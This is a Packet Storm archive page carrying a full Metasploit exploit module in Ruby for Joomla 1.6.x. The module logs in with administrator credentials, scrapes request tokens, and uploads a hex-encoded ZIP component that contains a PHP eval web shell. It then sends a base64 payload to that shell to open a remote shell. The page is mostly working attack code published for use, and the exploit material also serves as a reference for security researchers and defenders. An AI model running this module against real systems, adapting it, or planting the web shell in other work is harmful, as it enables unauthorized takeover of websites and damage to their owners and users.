what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla 1.6.x Administrator PHP Code Execution

Joomla 1.6.x Administrator PHP Code Execution
Posted May 31, 2011
Authored by James Bercegay | Site gulftech.org

This Metasploit module can be used to gain a remote shell to a Joomla! 1.6.x install when administrator credentials are known. This is achieved by uploading a malicious component which is used to execute the selected payload.

tags | exploit, remote, shell
SHA-256 | 612d16778b5cce15c16e50253fe4bc1f0dbda9b28aac75b76518ca8050eb526c

Joomla 1.6.x Administrator PHP Code Execution

Change Mirror Download
# Requirements
require 'msf/core'

# Class declaration
class Metasploit3 < Msf::Exploit::Remote

# Includes
include Msf::Exploit::Remote::HttpClient

# Initialize module
def initialize(info = {})

# Initialize information
super(update_info(info,
'Name' => 'Joomla 1.6.* Administrator PHP Code Execution',
'Description' => %q{
This module can be used to gain a remote shell to a Joomla! 1.6.* install when
administrator credentials are known. This is acheived by uploading a malicious
component which is used to execute the selected payload.
},
'Author' =>
[
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0 ))

register_options(
[
# Required
OptString.new('JDIR', [true, 'Joomla directory', '/']),
OptString.new('JUSR', [true, 'Joomla admin username', nil]),
OptString.new('JPWD', [true, 'Joomla admin password', nil]),

# Optional
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),
], self.class)
end
#################################################

# Extract "Set-Cookie"
def init_cookie(data, cstr = true)

# Raw request? Or cookie data specifically?
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data

# Beginning
if ( data )

# Break them apart
data = data.split(', ')

# Initialize
ctmp = ''
tmps = {}

# Parse cookies
data.each do | x |

# Remove extra data
x = x.split(';')[0]

# Seperate cookie pairs
if ( x =~ /([^;\s]+)=([^;\s]+)/im )

# Key
k = $1

# Val
v = $2

# Valid cookie value?
if ( v.length() > 0 )

# Build cookie hash
tmps[k] = v

# Report cookie status
print_status("Got Cookie: #{k} => #{v}");
end
end
end

# Build string data
if ( cstr == true )

# Loop
tmps.each do |x,y|

# Cookie key/value
ctmp << "#{x}=#{y};"
end

# Assign
tmps['cstr'] = ctmp
end

# Return
return tmps
else
# Something may be wrong
init_debug("No cookies within the given response")
end
end

#################################################

# Simple debugging output
def init_debug(resp, exit = 0)

# is DBUG set? Check it
if ( datastore['DBUG'] )

# Print debugging data
print_status("######### DEBUG! ########")
pp resp
print_status("#########################")
end

# Continue execution
if ( exit.to_i > 0 )

# Exit
exit(0)
end

end

#################################################

# Generic post wrapper
def http_post(url, data, headers = {}, timeout = 15)

# Protocol
proto = datastore['SSL'] ? 'https': 'http'

# Determine request url
url = url.length ? url: ''

# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']

# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "application/x-www-form-urlencoded"

# Determine Content-Length
headers['Content-Length'] = data.length

# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

# Delete all the null headers
headers.each do | hkey, hval |

# Null value
if ( !hval )

# Delete header key
headers.delete(hkey)
end
end

# Send request
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout )

# Returned
return resp

end

#################################################

# Generic post multipart wrapper
def http_post_multipart(url, data, headers = {}, timeout = 15)

# Boundary string
bndr = Rex::Text.rand_text_alphanumeric(8)

# Protocol
proto = datastore['SSL'] ? 'https': 'http'

# Determine request url
url = url.length ? url: ''

# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']

# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"

# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

# Delete all the null headers
headers.each do | hkey, hval |

# Null value
if ( !hval )

# Delete header key
headers.delete(hkey)
end
end

# Init
temp = ''

# Parse form values
data.each do |name, value|

# Hash means file data
if ( value.is_a?(Hash) )

# Validate form fields
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
encoding = value['encoding'] ? value['encoding']: "Binary"

# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
temp << "Content-Type: #{mimetype}\r\n"
temp << "Content-Transfer-Encoding: #{encoding}\r\n"
temp << "\r\n"
temp << "#{contents}\r\n"

else
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
temp << "\r\n"
temp << "#{value}\r\n"
end
end

# Complete the form data
temp << "--#{bndr}--\r\n"

# Assigned
data = temp

# Determine Content-Length
headers['Content-Length'] = data.length

# Send request
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout)

# Returned
return resp

end

#################################################

# Generic get wrapper
def http_get(url, headers = {}, timeout = 15)

# Protocol
proto = datastore['SSL'] ? 'https': 'http'

# Determine request url
url = url.length ? url: ''

# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']

# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

# Delete all the null headers
headers.each do | hkey, hval |

# Null value // Also, remove post specific data, due to a bug ...
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )

# Delete header key
headers.delete(hkey)
end
end

# Send request
resp = send_request_raw({
'uri' => datastore['JDIR'] + url,
'headers' => headers,
'method' => 'GET',
}, timeout)

# Returned
return resp

end
#################################################

def check

# Banner grab request
resp = http_get("index.php")

# Extract Joomla version information
if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )

# Version
vers = $1.strip

# Version "parts"
ver1, ver2, ver3 = vers.split(/\./)

# Only if 1.6.0 aka 1.6
if ( ver2.to_i != 6 )

# Safe
print_error("Only compatible with the Joomla 1.6 branch")
return Exploit::CheckCode::Safe
else

# Vulnerable
return Exploit::CheckCode::Vulnerable
end
else

# Verbose
print_error("Unable to determine Joomla version ...")
return Exploit::CheckCode::Safe
end
end

#################################################

def exploit

# Numeric test string
tstr = Time.now.to_i.to_s

# MD5 test string
tmd5 = Rex::Text.md5(tstr)

# Encoded payload
load = payload.encoded

# Credentials
user = datastore['JUSR']
pass = datastore['JPWD']

# Verbose
print_status("Attempting to extract a valid request token")

# Request a valid token
resp = http_get("administrator/index.php")

# Extract token
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )

# Token
rtok = $1

# Verbose
print_status("Got token: #{rtok}")
else

# Failure
print_error("Unable to extract request token. Exploit failed!")
init_debug(resp)
return
end

# Init cookie
cook = init_cookie(resp)

# Build headers for authenticated session
hdrs = { "Cookie" => cook['cstr'] }

# Verbose
print_status("Attempting to login as: #{user}")

# Post data for login request
post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1"

# Login request
resp = http_post("administrator/index.php", post, hdrs)

# Authentication successful???
if ( resp && resp.code == 303 )

# Success
print_status("Successfully logged in as: #{user}")
else

# Failure
print_error("Unable to authenticate. Exploit failed!")
init_debug(resp)
return
end

# Verbose
print_status("Attempting to extract refreshed request token")

# Request a valid token (again)
resp = http_get("administrator/index.php?option=com_installer", hdrs)

# Extract token
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )

# Token
rtok = $1

# Verbose
print_status("Got token: #{rtok}")
else

# Failure
print_error("Unable to extract request token. Exploit failed!")
init_debug(resp.body)
return
end

# Component specific data
cstr = "joomla"
czip = "com_#{cstr}.zip"
curi = "components/com_#{cstr}/#{cstr}.php"

#################################################
# Our Joomla specific PHP payload wrapper that is
# used to have more flexibility when delivering a
# selected payload to a target. The wrapper is in
# the Joomla! 1.6 compononent format and can also
# be used with other Joomla exploits.
#################################################
#
# Type: Joomla 1.6 Component
# File: com_joomla/joomla.xml <-- installer file
# com_joomla/joomla.php <-- component file
#
# Data: <?php
# # Modify settings
# error_reporting(0);
# ini_set('max_execution_time', 0);
#
# # Execute the selected payload, and delete the wrapper
# @eval(base64_decode(file_get_contents('php://input')));
# ?>
#################################################

# Hex encoded component zip data
wrap = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"

# Verbose
print_status("Attempting to upload payload wrapper component")

# Post data
data = {

# Component data
'install_package' =>
{
'filename' => czip,
'contents' => wrap,
'mimetype' => 'application/zip',
'encoding' => 'binary',
},

# Required install params
"installtype" => "upload",
"task" => "install.install",
"#{rtok}" => "1",
}

# Upload the wrapper component
init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs))

# Deliver the selected payload to the target
init_debug(http_post(curi, Rex::Text.encode_base64(load)))

# Shell
handler
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close